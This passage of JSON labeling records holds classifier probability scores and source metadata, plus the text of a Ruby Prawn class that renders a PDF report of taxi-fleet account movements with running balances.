0.00012489005905626666}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0004895564256804872, "Art & Design": 0.0008287771615484519, "Law & Crime": 0.0009513524172258063, "Education & Careers": 0.38185736923085484, "Entertainment & Media": 0.000702280498991584, "Fashion & Beauty": 0.00045293389312744297, "Business, Economics & Finance": 0.0012717360424156579, "Food & Dining": 0.00046392437585060785, "Games & Gaming": 0.0005927424960019456, "Electronics & Hardware": 0.0007714138445407732, "Health, Healthcare & Wellness": 0.0006865570533297785, "History & Geography": 0.0005204650597148033, "Home, Pets & Hobbies": 0.0004984556583218679, "Industry & Production": 0.00043280546026085653, "Language, Literature & Philosophy": 0.0004177876574035523, "Politics & Government": 0.0005242170585601549, "Religion & Spirituality": 0.0005264419663183134, "Science, Mathematics & Engineering": 0.0007434443801776077, "Relationships & Community": 0.000408811564721983, "Software Usage & Applications": 0.0015008847311046662, "Programming & Software Engineering": 0.09542993431140297, "Sports & Fitness": 0.0004886825118383407, "Vehicles & Transportation": 0.0002689685991179089, "Travel & Tourism": 0.0006967465328257874, "Other / Uncovered Subject": 0.0026783441684307217, "NONE": 0.5057953669002331}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9603, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9603, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:31:07.842411+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "f97c286d-8477-41fb-a639-01b5f0dc7ae2", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "722ccac0d6292fd6e586b71d8f1589836455351e46ce59d7f39fb6d829f0c959", "source_metadata": {"uuid": "f97c286d-8477-41fb-a639-01b5f0dc7ae2", "repo_name": "portabilis/i-diario", "relative_path": "app/controllers/learning_objectives_and_skills_controller.rb", "category": "WEB", "algo_rel_score": 0.9688350558280945, "quality_score": 5.8370490074157715, "source_meta": {"github_metadata": {"branch": "1.6", "commit_count": 14321, "repo_created_at": "2018-11-30T20:58:45.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 108, "forks": 51, "issues": 36, "pull_requests": 4}, "file_meta": {"content_id": "f9da91f9a3a6f28d74f313a4c9d7a53152ed9229", "size_bytes": 4428, "file_timestamp": 1752880067, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "ba507eef6260baeafd74209c101c1283ba8b38c4"}}, "parsed_source_meta": {"github_metadata": {"branch": "1.6", "commit_count": 14321, "repo_created_at": "2018-11-30T20:58:45.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 108, "forks": 51, "issues": 36, "pull_requests": 4}, "file_meta": {"content_id": "f9da91f9a3a6f28d74f313a4c9d7a53152ed9229", "size_bytes": 4428, "file_timestamp": 1752880067, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "ba507eef6260baeafd74209c101c1283ba8b38c4", "url": "https://github.com/portabilis/i-diario/blob/ba507eef6260baeafd74209c101c1283ba8b38c4/app/controllers/learning_objectives_and_skills_controller.rb"}, "gpt4o_tokens": 1056, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.8702508969627563, "noise_severity": 0.005007190609782633, "missing_content_severity": 0.010592822859542399, "factual_density": 3.2245834174258925, "pretraining_utility": 0.35766905939929516, "math_density": 0.03794564752426844, "code_density": 3.9061149920765477, "reasoning_density": 0.33123401267575275, "education_level": 2.2488299054217986, "creative_writing_quality": -0.23498295958646373}, "score_applicability": {"education_level": 0.9989932708406052, "creative_writing_quality": 0.00021012106939927383}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/leoariaspaz/remisctrl/blob/b9c3721ac18ee3e6038b0d6590027a1b629886d7/app/pdfs/movimiento_movil_pdf.rb", "id": "ruby-0-d978506e299628c8b3d2781b61ba89ad", "text": "class MovimientoMovilPdf < Prawn::Document\n include PdfReport\n include ApplicationHelper\n include ActionView::Helpers::NumberHelper \n\n TABLE_HEADER = [[\"Fec. real\", \"Fec. Mov.\", \"Cód. Trx.\", \"Transacción\", \"Crédito\", \"Débito\", \"Saldo\"]]\n\n def initialize(movimiento_search, view)\n super({page_size: \"A4\", left_margin: 20, right_margin: 20})\n @file_name = \"Movimientos - Por #{MovimientoSearch::TipoInforme[movimiento_search.tipo_informe.to_sym].downcase}\"\n subtitle = \"Del #{format_date(movimiento_search.fecha_desde)} al #{format_date(movimiento_search.fecha_hasta)} - \" + \n \"Del móvil #{movimiento_search.nromovil_desde} al #{movimiento_search.nromovil_hasta} - \" +\n \"Agrupado por #{MovimientoSearch::TipoInforme[movimiento_search.tipo_informe.to_sym].downcase}\"\n header(\"Movimientos\", subtitle)\n body(movimiento_search)\n footer(\"Movimientos\")\n end\n\n def file_name\n \"#{@file_name}.pdf\"\n end\n\nprivate\n def body(movimiento_search)\n movimientos = Movimiento.\n joins(:transaccion, :cuenta).\n joins(%{INNER JOIN moviles ON moviles.id = cuentas.movil_id \n INNER JOIN choferes ON choferes.id = cuentas.chofer_id}). \n select(%{ movimientos.id AS movimiento_id, \n movimientos.updated_at, \n movimientos.fecha_movimiento, \n movimientos.observacion,\n movimientos.importe, \n movimientos.es_contrasiento,\n cuentas.id AS nrocuenta,\n transacciones.id AS id_transaccion,\n transacciones.descripcion AS descripcion_transaccion,\n transacciones.es_debito AS es_debito,\n choferes.nombre AS nombre_chofer,\n moviles.nromovil }).\n where(%{ movimientos.fecha_movimiento >= ? AND\n movimientos.fecha_movimiento <= ? AND\n moviles.nromovil >= ? AND\n moviles.nromovil <= ? },\n movimiento_search.fecha_desde, \n movimiento_search.fecha_hasta, \n movimiento_search.nromovil_desde, \n movimiento_search.nromovil_hasta).\n order(%{ moviles.nromovil ASC,\n movimientos.fecha_movimiento ASC, \n movimientos.updated_at ASC })\n if not movimiento_search.mostrar_contrasientos.to_bool\n movimientos = movimientos.where(['movimientos.es_contrasiento = ?', false])\n end\n if movimientos.empty?\n text \"- No se han encontrado movimientos para su consulta -\", align: :center\n else\n data = []\n nrocuenta = @credito = @debito = @saldo = 0\n movimientos.each do |m|\n data += detail_row(m)\n if nrocuenta != m.nrocuenta\n if nrocuenta > 0\n print_details(data[0..data.size-2])\n @saldo = 0\n data = detail_row(m)\n end\n print_header_group(m.nrocuenta, m.nromovil, m.nombre_chofer)\n nrocuenta = m.nrocuenta\n end\n end\n print_details(data)\n end\n end\n\n def detail_row(movimiento)\n if movimiento.es_debito.to_bool\n @credito = 0\n @debito = movimiento.importe\n @saldo = @saldo - movimiento.importe\n else\n @credito = movimiento.importe\n @debito = 0\n @saldo = @saldo + movimiento.importe\n end\n cred = number_to_currency(@credito)\n deb = number_to_currency(@debito) \n if movimiento.es_contrasiento\n if movimiento.es_debito.to_bool\n @saldo = @saldo + @debito\n deb = {content: \"(c) #{deb}\", font_style: :italic}\n else\n @saldo = @saldo - @credito\n cred = {content: \"(c) #{cred}\", font_style: :italic}\n end\n end\n sdo = number_to_currency(@saldo)\n transaccion = movimiento.descripcion_transaccion\n transaccion += \" - \" + movimiento.observacion unless movimiento.observacion.empty?\n [[movimiento.updated_at.strftime('%d/%m/%Y %T'),\n movimiento.fecha_movimiento.strftime('%d/%m/%Y'),\n movimiento.id_transaccion,\n transaccion,\n cred, deb, sdo]]\n end\n\n def print_details(data)\n data = TABLE_HEADER + data\n table data do\n self.header = true\n self.column_widths = [80, 45, 40, 195, 60, 60, 60]\n self.position = :center\n column(0..1).align = :center\n column(2).align = :right\n column(4..6).align = :right\n cells.style(borders: [], padding: [2,2,2,2], size: 8)\n row(0).style(align: :center, borders: [:bottom], border_width: 1, font_style: :bold)\n end\n move_down 10\n end\n\n def print_header_group(nrocuenta, nromovil, chofer)\n group = [[ {content: \"Cuenta: \", font_style: :bold}, (format_cuenta(nrocuenta)),\n {content: \"Móvil:\", font_style: :bold}, nromovil,\n {content: \" Chofer:\", font_style: :bold}, chofer]]\n table group do\n self.header = false\n column(0..3).align = :left\n cells.style(borders: [], padding: [2,2,2,2], size: 8)\n end\n move_down 5 \n end\nend", "text_preview": "class MovimientoMovilPdf < Prawn::Document include PdfReport include ApplicationHelper include ActionView::Helpers::NumberHelper TABLE_HEADER = [[\"Fec. real\", \"Fec. Mov.\", \"Cód. Trx.\", \"Transacción\", \"Crédito\", \"Débito\", \"Saldo\"]] def initi", "input_sha256": "6cd1caf590384524b999326e0af6ce2d9b4b133b096be7e25f581736db4f88e1", "text_sha256": "d978506e299628c8b3d2781b61ba89ad21c3d13f550c370f959e31624e0af926", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16029, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.0271467931080895, "noise_severity": 0.010828541712152773, "missing_content_severity": 0.00910951200400493, "factual_density": 3.2962420110988693, "pretraining_utility": 0.35664816029290247, "math_density": 0.6175049164581803, "code_density": 3.8460890161441252, "reasoning_density": 0.2520673313541892, "education_level": 2.2523336279296693, "creative_writing_quality": -0.25543564349324865}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.02490026411115487, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9936019208123692, "secondary": 0.9103205747856578, "tertiary": 0.9363034590755582, "structured_records": 0.2507737157766256, "procedural_steps": 0.0038508100076007153, "worked_solution": 0.002402323915383328, "contextual_dialogue": 5.417218332004112e-06, "content_quality": 0.5376139340080204, "noise_severity": 0.9909762152398727, "missing_content_severity": 0.9924087399966626, "factual_density": 0.41353500924905784, "pretraining_utility": 0.47057219052823607, "math_density": 0.485412569618183, "code_density": 0.8717408467867712, "reasoning_density": 0.7899438905381757, "education_level": 0.6809219671686692, "creative_writing_quality": 0.9990937707602514, "primary_topic": 0.9297633197257266, "secondary_topic": 0.46949705619249815}, "probability_margin": {"primary": 0.9905384268275631, "secondary": 0.8524872878279052, "tertiary": 0.8975425632973413, "education_level": 0.498508773127237, "creative_writing_quality": 0.9988761979264098, "primary_topic": 0.893334261595631, "secondary_topic": 0.1453552365569422}, "raw_probabilities": {"primary": {"Academic Writing": 3.073878928707585e-05, "Content Listing": 3.943349359602521e-05, "Creative Writing": 1.52357466468961e-05, "Customer Support Page": 9.198566987450431e-06, "Q&A Forum": 1.2232492336012043e-05, "Discussion Thread": 6.708969799887749e-06, "Comment Section": 1.2285616817998367e-05, "Missing Content": 3.6213256384979674e-05, "Knowledge Article": 8.603716132951343e-05, "Legal Notices": 3.087122485491807e-05, "News Article": 4.7252062296006045e-06, "Organizational Announcement": 1.2711430307362507e-05, "Nonfiction Writing": 1.1875199883101508e-05, "Organizational About Page": 1.3159643023895966e-05, "Personal About Page": 1.3354122940949765e-05, "Personal Blog": 8.053078884295035e-06, "Product Page": 8.792665725434518e-06, "Spam / Ads": 1.0593490080124596e-05, "Structured Data": 0.003330080617624073, "Technical Writing": 0.9938685074451872, "Transcript / Interview": 1.5163971246997504e-05, "Tutorial / How-To Guide": 0.00014072867894957247, "User Reviews": 6.433118536142382e-06, "Other / Unknown": 0.0022768660133406465}, "secondary": {"Academic Writing": 0.0003522781059317703, "Content Listing": 0.0006726382234482873, "Creative Writing": 0.00030344835702995324, "Customer Support Page": 0.00016709918201592404, "Q&A Forum": 0.0001266493352237286, "Discussion Thread": 0.00010867094878970385, "Comment Section": 0.00017721774563662053, "Missing Content": 0.0005595211059827436, "Knowledge Article": 0.0005772926727942392, "Legal Notices": 0.0002492449135377461, "News Article": 0.0001752953878451449, "Organizational Announcement": 0.00016624078048461843, "Nonfiction Writing": 0.0001826396865918412, "Organizational About Page": 0.00017180284498024398, "Personal About Page": 0.00014176378227504695, "Personal Blog": 0.0001697474463176033, "Product Page": 0.0001063436269009766, "Spam / Ads": 0.00015838861505579043, "Structured Data": 0.061569929675016816, "Technical Writing": 0.019069000247754733, "Transcript / Interview": 0.00020788522227863966, "Tutorial / How-To Guide": 0.00045788538818850033, "User Reviews": 7.179920299744868e-05, "NONE": 0.914057217502922}, "tertiary": {"Academic Writing": 0.00019228754182052437, "Content Listing": 0.0005268774192893957, "Creative Writing": 0.00017938645419737054, "Customer Support Page": 0.00010113267722776063, "Q&A Forum": 5.795256429958018e-05, "Discussion Thread": 6.059743015473851e-05, "Comment Section": 0.00011418095708637177, "Missing Content": 0.00037339938233797184, "Knowledge Article": 0.0008149012766393917, "Legal Notices": 0.0001868550155992015, "News Article": 0.00010098666456413541, "Organizational Announcement": 0.00010009662728164722, "Nonfiction Writing": 0.00014046433156779736, "Organizational About Page": 0.00014032294394406762, "Personal About Page": 8.625026482639718e-05, "Personal Blog": 9.328710345153983e-05, "Product Page": 7.861609793521397e-05, "Spam / Ads": 0.00010487200699488813, "Structured Data": 0.041414918316735376, "Technical Writing": 0.015665080955927325, "Transcript / Interview": 0.00012065739326405535, "Tutorial / How-To Guide": 0.0003482682901291277, "User Reviews": 4.1126670649425824e-05, "NONE": 0.9389574816140767}, "structured_records": {"false": 0.7492262842233743, "true": 0.2507737157766256}, "procedural_steps": {"false": 0.9961491899923993, "true": 0.0038508100076007153}, "worked_solution": {"false": 0.9975976760846167, "true": 0.002402323915383328}, "contextual_dialogue": {"false": 0.999994582781668, "true": 5.417218332004112e-06}, "content_quality": {"-2": 0.006800844527733309, "-1": 0.02545406130450395, "0": 0.19254758684893516, "1": 0.4841924711695951, "2": 0.29100503614923257}, "noise_severity": {"0": 0.9913110476667478, "1": 0.007339169072642312, "2": 0.0008021257223009711, "3": 0.00030550895832620687, "4": 0.00024214857998247397}, "missing_content_severity": {"0": 0.9955943778858651, "1": 0.001248499568930134, "2": 0.0018728297583817208, "3": 0.0010218182289801767, "4": 0.00026247455784270563}, "factual_density": {"0": 0.01163977921555322, "1": 0.02690049201571426, "2": 0.11673540852867247, "3": 0.34302657893443, "4": 0.50169774130563}, "pretraining_utility": {"-2": 0.00989015798070459, "-1": 0.11955228957519788, "0": 0.4327451204309015, "1": 0.3796440981968825, "2": 0.05816833381631353}, "math_density": {"0": 0.5548273886013023, "1": 0.3452125148325936, "2": 0.05782321539489566, "3": 0.01190155384903852, "4": 0.030235327322169967}, "code_density": {"0": 0.00032075976340726784, "1": 0.0006010630600836154, "2": 0.016918464001991495, "3": 0.11698782761801156, "4": 0.865171885556506}, "reasoning_density": {"0": 0.8674057053289838, "1": 0.04107633773723002, "2": 0.0688370398314548, "3": 0.017406754455275952, "4": 0.005274162647055424}, "education_level": {"none": 0.001197429420478294, "0": 0.0015545088178007013, "1": 0.01185316162453155, "2": 0.7341016393072243, "3": 0.23559286617998726, "4": 0.015700394649977897}, "creative_writing_quality": {"not_applicable": 0.9992448089668762, "-2": 9.949646278714358e-05, "-1": 0.0001583800168080556, "0": 0.00036861104046642657, "1": 9.293679124825644e-05, "2": 3.576672181389191e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 8.203313908804031e-05, "Art & Design": 0.00020140928299784133, "Law & Crime": 0.00017972517406077132, "Education & Careers": 0.0001186048171200947, "Entertainment & Media": 7.729868671595505e-05, "Fashion & Beauty": 0.00012132311491612347, "Business, Economics & Finance": 0.03913046890987527, "Food & Dining": 0.00020698031533787278, "Games & Gaming": 0.00013073663672552447, "Electronics & Hardware": 0.00025727789528817176, "Health, Healthcare & Wellness": 0.00011198932467975094, "History & Geography": 0.00011028511259638017, "Home, Pets & Hobbies": 0.00010445309504705128, "Industry & Production": 0.00045363832771781005, "Language, Literature & Philosophy": 0.00010614343281256377, "Politics & Government": 0.0001244116981772276, "Religion & Spirituality": 9.335724068685819e-05, "Science, Mathematics & Engineering": 0.0002687067166914513, "Relationships & Community": 6.510437473543019e-05, "Software Usage & Applications": 0.0006361285585039489, "Programming & Software Engineering": 0.9324647305055063, "Sports & Fitness": 0.0002308825289224044, "Vehicles & Transportation": 0.02234109879350072, "Travel & Tourism": 0.00016299650426255995, "Other / Uncovered Subject": 0.002022811924734184, "Unknown / Insufficient Content": 0.000197403889299813}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0011169261789438776, "Art & Design": 0.0019307277037579752, "Law & Crime": 0.0015136840908178766, "Education & Careers": 0.0006722321846265619, "Entertainment & Media": 0.0006925905709162022, "Fashion & Beauty": 0.000631056984902078, "Business, Economics & Finance": 0.3445457790127676, "Food & Dining": 0.0007106236216334558, "Games & Gaming": 0.0006891079226533308, "Electronics & Hardware": 0.0015371274971197192, "Health, Healthcare & Wellness": 0.0007475938145710348, "History & Geography": 0.0005668047133490782, "Home, Pets & Hobbies": 0.0006054528323430976, "Industry & Production": 0.0015254753183771444, "Language, Literature & Philosophy": 0.0004820627290568431, "Politics & Government": 0.0006441543118769526, "Religion & Spirituality": 0.0007804104262252516, "Science, Mathematics & Engineering": 0.0009231903554275183, "Relationships & Community": 0.00032826703973542896, "Software Usage & Applications": 0.002598515457175383, "Programming & Software Engineering": 0.04699196005880106, "Sports & Fitness": 0.0007990643877245692, "Vehicles & Transportation": 0.09491260928829871, "Travel & Tourism": 0.0009774197531274402, "Other / Uncovered Subject": 0.0031761481760621147, "NONE": 0.48990101556970983}}, "probabilities": {"primary": {"Academic Writing": 3.0738789287075845e-05, "Content Listing": 3.9433493596025205e-05, "Creative Writing": 1.5235746646896097e-05, "Customer Support Page": 9.19856698745043e-06, "Q&A Forum": 1.223249233601204e-05, "Discussion Thread": 6.708969799887747e-06, "Comment Section": 1.2285616817998364e-05, "Missing Content": 3.621325638497967e-05, "Knowledge Article": 8.603716132951342e-05, "Legal Notices": 3.087122485491806e-05, "News Article": 4.725206229600604e-06, "Organizational Announcement": 1.2711430307362504e-05, "Nonfiction Writing": 1.1875199883101504e-05, "Organizational About Page": 1.3159643023895963e-05, "Personal About Page": 1.3354122940949761e-05, "Personal Blog": 8.053078884295034e-06, "Product Page": 8.792665725434516e-06, "Spam / Ads": 1.0593490080124594e-05, "Structured Data": 0.003330080617624072, "Technical Writing": 0.993868507445187, "Transcript / Interview": 1.51639712469975e-05, "Tutorial / How-To Guide": 0.00014072867894957244, "User Reviews": 6.43311853614238e-06, "Other / Unknown": 0.002276866013340646}, "secondary": {"Academic Writing": 0.0003522781059317702, "Content Listing": 0.0006726382234482871, "Creative Writing": 0.0003034483570299532, "Customer Support Page": 0.00016709918201592401, "Q&A Forum": 0.00012664933522372858, "Discussion Thread": 0.00010867094878970383, "Comment Section": 0.0001772177456366205, "Missing Content": 0.0005595211059827435, "Knowledge Article": 0.0005772926727942391, "Legal Notices": 0.000249244913537746, "News Article": 0.00017529538784514487, "Organizational Announcement": 0.0001662407804846184, "Nonfiction Writing": 0.00018263968659184117, "Organizational About Page": 0.00017180284498024396, "Personal About Page": 0.00014176378227504692, "Personal Blog": 0.00016974744631760328, "Product Page": 0.00010634362690097657, "Spam / Ads": 0.0001583886150557904, "Structured Data": 0.0615699296750168, "Technical Writing": 0.01906900024775473, "Transcript / Interview": 0.0002078852222786396, "Tutorial / How-To Guide": 0.0004578853881885002, "User Reviews": 7.179920299744867e-05, "NONE": 0.9140572175029218}, "tertiary": {"Academic Writing": 0.00019228754182052437, "Content Listing": 0.0005268774192893957, "Creative Writing": 0.00017938645419737054, "Customer Support Page": 0.00010113267722776063, "Q&A Forum": 5.795256429958018e-05, "Discussion Thread": 6.059743015473851e-05, "Comment Section": 0.00011418095708637177, "Missing Content": 0.00037339938233797184, "Knowledge Article": 0.0008149012766393917, "Legal Notices": 0.0001868550155992015, "News Article": 0.00010098666456413541, "Organizational Announcement": 0.00010009662728164722, "Nonfiction Writing": 0.00014046433156779736, "Organizational About Page": 0.00014032294394406762, "Personal About Page": 8.625026482639718e-05, "Personal Blog": 9.328710345153983e-05, "Product Page": 7.861609793521397e-05, "Spam / Ads": 0.00010487200699488813, "Structured Data": 0.041414918316735376, "Technical Writing": 0.015665080955927325, "Transcript / Interview": 0.00012065739326405535, "Tutorial / How-To Guide": 0.0003482682901291277, "User Reviews": 4.1126670649425824e-05, "NONE": 0.9389574816140767}, "structured_records": {"false": 0.7492262842233743, "true": 0.2507737157766256}, "procedural_steps": {"false": 0.9961491899923993, "true": 0.0038508100076007153}, "worked_solution": {"false": 0.9975976760846167, "true": 0.002402323915383328}, "contextual_dialogue": {"false": 0.999994582781668, "true": 5.417218332004112e-06}, "content_quality": {"-2": 0.006800844527733309, "-1": 0.02545406130450395, "0": 0.19254758684893516, "1": 0.4841924711695951, "2": 0.29100503614923257}, "noise_severity": {"0": 0.991311047666748, "1": 0.007339169072642314, "2": 0.0008021257223009713, "3": 0.0003055089583262069, "4": 0.00024214857998247402}, "missing_content_severity": {"0": 0.9955943778858652, "1": 0.0012484995689301343, "2": 0.001872829758381721, "3": 0.001021818228980177, "4": 0.0002624745578427057}, "factual_density": {"0": 0.01163977921555322, "1": 0.02690049201571426, "2": 0.11673540852867247, "3": 0.34302657893443, "4": 0.50169774130563}, "pretraining_utility": {"-2": 0.00989015798070459, "-1": 0.11955228957519788, "0": 0.4327451204309015, "1": 0.3796440981968825, "2": 0.05816833381631353}, "math_density": {"0": 0.5548273886013023, "1": 0.3452125148325936, "2": 0.05782321539489566, "3": 0.01190155384903852, "4": 0.030235327322169967}, "code_density": {"0": 0.00032075976340726784, "1": 0.0006010630600836154, "2": 0.016918464001991495, "3": 0.11698782761801156, "4": 0.865171885556506}, "reasoning_density": {"0": 0.8674057053289838, "1": 0.04107633773723002, "2": 0.0688370398314548, "3": 0.017406754455275952, "4": 0.005274162647055424}, "education_level": {"none": 0.001197429420478294, "0": 0.0015545088178007013, "1": 0.01185316162453155, "2": 0.7341016393072243, "3": 0.23559286617998726, "4": 0.015700394649977897}, "creative_writing_quality": {"not_applicable": 0.9992448089668762, "-2": 9.949646278714358e-05, "-1": 0.0001583800168080556, "0": 0.00036861104046642657, "1": 9.293679124825644e-05, "2": 3.576672181389191e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 8.203313908804031e-05, "Art & Design": 0.00020140928299784133, "Law & Crime": 0.00017972517406077132, "Education & Careers": 0.0001186048171200947, "Entertainment & Media": 7.729868671595505e-05, "Fashion & Beauty": 0.00012132311491612347, "Business, Economics & Finance": 0.03913046890987527, "Food & Dining": 0.00020698031533787278, "Games & Gaming": 0.00013073663672552447, "Electronics & Hardware": 0.00025727789528817176, "Health, Healthcare & Wellness": 0.00011198932467975094, "History & Geography": 0.00011028511259638017, "Home, Pets & Hobbies": 0.00010445309504705128, "Industry & Production": 0.00045363832771781005, "Language, Literature & Philosophy": 0.00010614343281256377, "Politics & Government": 0.0001244116981772276, "Religion & Spirituality": 9.335724068685819e-05, "Science, Mathematics & Engineering": 0.0002687067166914513, "Relationships & Community": 6.510437473543019e-05, "Software Usage & Applications": 0.0006361285585039489, "Programming & Software Engineering": 0.9324647305055063, "Sports & Fitness": 0.0002308825289224044, "Vehicles & Transportation": 0.02234109879350072, "Travel & Tourism": 0.00016299650426255995, "Other / Uncovered Subject": 0.002022811924734184, "Unknown / Insufficient Content": 0.000197403889299813}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0011169261789438774, "Art & Design": 0.0019307277037579748, "Law & Crime": 0.0015136840908178762, "Education & Careers": 0.0006722321846265618, "Entertainment & Media": 0.0006925905709162021, "Fashion & Beauty": 0.0006310569849020779, "Business, Economics & Finance": 0.34454577901276756, "Food & Dining": 0.0007106236216334557, "Games & Gaming": 0.0006891079226533307, "Electronics & Hardware": 0.0015371274971197188, "Health, Healthcare & Wellness": 0.0007475938145710346, "History & Geography": 0.0005668047133490781, "Home, Pets & Hobbies": 0.0006054528323430975, "Industry & Production": 0.001525475318377144, "Language, Literature & Philosophy": 0.000482062729056843, "Politics & Government": 0.0006441543118769525, "Religion & Spirituality": 0.0007804104262252514, "Science, Mathematics & Engineering": 0.0009231903554275181, "Relationships & Community": 0.0003282670397354289, "Software Usage & Applications": 0.0025985154571753826, "Programming & Software Engineering": 0.04699196005880105, "Sports & Fitness": 0.000799064387724569, "Vehicles & Transportation": 0.09491260928829869, "Travel & Tourism": 0.00097741975312744, "Other / Uncovered Subject": 0.003176148176062114, "NONE": 0.4899010155697097}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, 